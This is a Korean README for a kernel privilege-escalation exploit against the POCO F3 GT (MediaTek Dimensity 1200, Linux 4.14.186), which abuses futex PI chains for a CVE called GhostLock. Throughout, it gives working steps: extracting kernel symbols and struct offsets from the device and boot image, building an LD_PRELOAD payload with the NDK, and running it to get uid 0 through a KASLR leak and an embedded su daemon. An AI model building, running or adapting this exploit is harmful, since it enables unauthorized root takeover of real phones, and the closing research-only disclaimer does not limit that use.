
POCO F3 GT(aresin)용 GhostLock(CVE-2026-43499) 익스플로잇 — MediaTek Dimensity 1200, Linux 4.14.186 ARM64 커널에서 futex PI 체인 조작을 통한 권한 상승
MediaTek Dimensity 1200 (MT6893)용 데이터 전용 physmap 덮어쓰기 익스플로잇.
커널: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.
| 조건 | 상태 | 설명 |
|---|---|---|
| 커널 버전 범위 | ✅ | 4.14.186은 2.6.39 ~ 7.0.4 범위 내 |
| CONFIG_FUTEX_PI | ✅ | 활성화됨 (y) |
| CONFIG_RT_MUTEXES | ✅ | 활성화됨 (y) |
| 아키텍처 | ✅ | aarch64 |
| CONFIG_PREEMPT | ✅ | 활성화됨 (y) |
| CONFIG_RANDOMIZE_KSTACK | ❓ | 확인 필요 (4.14는 지원하지 않을 수 있음) |
# 기기에서 추출 스크립트 실행
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt
root(Magisk) 권한이 있다면 /proc/kallsyms에서 직접 추출할 수 있습니다:
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"
# 1. boot.img 확보
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img
# 2. magiskboot로 언패킹
magiskboot unpack boot.img
# 산출물: kernel (압축된 vmlinux)
# 3. vmlinux 압축 해제
magiskboot decompress kernel vmlinux.elf
# 4. pahole로 구조체 오프셋 추출
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"
vmlinux.elf 열기rt_mutex_waiter 및 task_struct 구조체 검색추출한 오프셋을 target.h의 모든 0xTODO 위치에 채웁니다.
주요 오프셋 참조 표:
# Android NDK r27+ 필요
export NDK_ROOT=/path/to/android-ndk-r27
# 또는 Android Studio에 포함된 NDK 사용
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973
# 컴파일
make preload TARGET_HEADER=target.h
# 산출물: build/bin/preload.so
# 기기로 푸시
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true
# 실행
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
# 또는 Shizuku 사용
# Shizuku에서 실행: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
rt_mutex_waiter 구조 다름:
rb_node가 아닌 plist_node 사용deadline / ww_ctx 필드가 없을 수 있음task_struct 레이아웃 다름:
pi_blocked_on, pi_lock 등의 오프셋이 6.1.x와 다름uclamp 관련 필드는 4.14.x에 존재하지 않을 수 있음KASLR 구현 다름:
Android 13 vs 14 보안 차이:
/proc/self/pagemap 접근 제한이 다를 수 있음오프셋을 입력한 후 Ghidra로 교차 검증을 권장합니다:
rt_mutex_waiter 구조체로 이동target.h와 일치하는지 확인ghostlock-aresin/
├── README.md # 이 파일
├── Makefile # 컴파일 스크립트
├── target.h # 대상 기기 오프셋 정의 (작성 필요)
├── src/ # 소스 코드
│ ├── main.c # 주요 익스플로잇 로직
│ ├── util.c # 유틸리티 함수
│ ├── slide.c # KASLR 누출
│ ├── fops.c # 파일 연산
│ ├── pipe.c # pipe 관련
│ ├── preload.c # LD_PRELOAD 엔트리
│ ├── su_daemon.c # su 데몬
│ ├── su_blob.S # su 바이너리 임베드
│ ├── standalone.c # 독립 실행
│ ├── common.h # 공용 정의
│ └── offset.h # 오프셋 계산
├── tools/
│ └── extract_offsets.sh # 오프셋 추출 스크립트
└── build/
├── bin/ # 컴파일 산출물
└── embed/ # 임베드 파일
연구/교육 목적으로만 사용하세요. 사용에 따른 책임은 본인에게 있습니다.
원본 PoC: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/
적용 대상: POCO F3 GT (aresin) by ghostlock-aresin
| 필드 | 설명 | 추출 방법 |
|---|
INIT_TASK | init_task 주소 | /proc/kallsyms 또는 Ghidra |
INIT_CRED | init_cred 주소 | /proc/kallsyms 또는 Ghidra |
WAITER_*_OFF | rt_mutex_waiter 필드 오프셋 | pahole / Ghidra |
FAKE_TASK_*_OFF | task_struct 필드 오프셋 | pahole / Ghidra |
TASK_CRED_OFF | cred 포인터 오프셋 | pahole / Ghidra |
| 단계 | 출력 | 설명 |
|---|
| 초기화 | [*] GhostLock - aresin (MT6893 D1200) 4.14.186 | 기기 인식 성공 |
| CPU 바인딩 | [+] CPU0 pinned | CPU0에 고정 |
| 주소 로드 | [*] init_task @ 0xffffffc00xxxxxxx | 고정 LM 주소 |
| 권한 확인 | [+] uid: xxxxx | 현재 uid 출력 |
| KASLR slide | [+] slide = 0 또는 slide = xxx | KASLR 감지 |
| 권한 상승 트리거 | 성공 시 uid가 0으로 변경 | root 획득 |
| 실패 | [-] ... + 재부팅 | 커널 패닉(취약점은 존재하지만 오프셋 조정 필요) |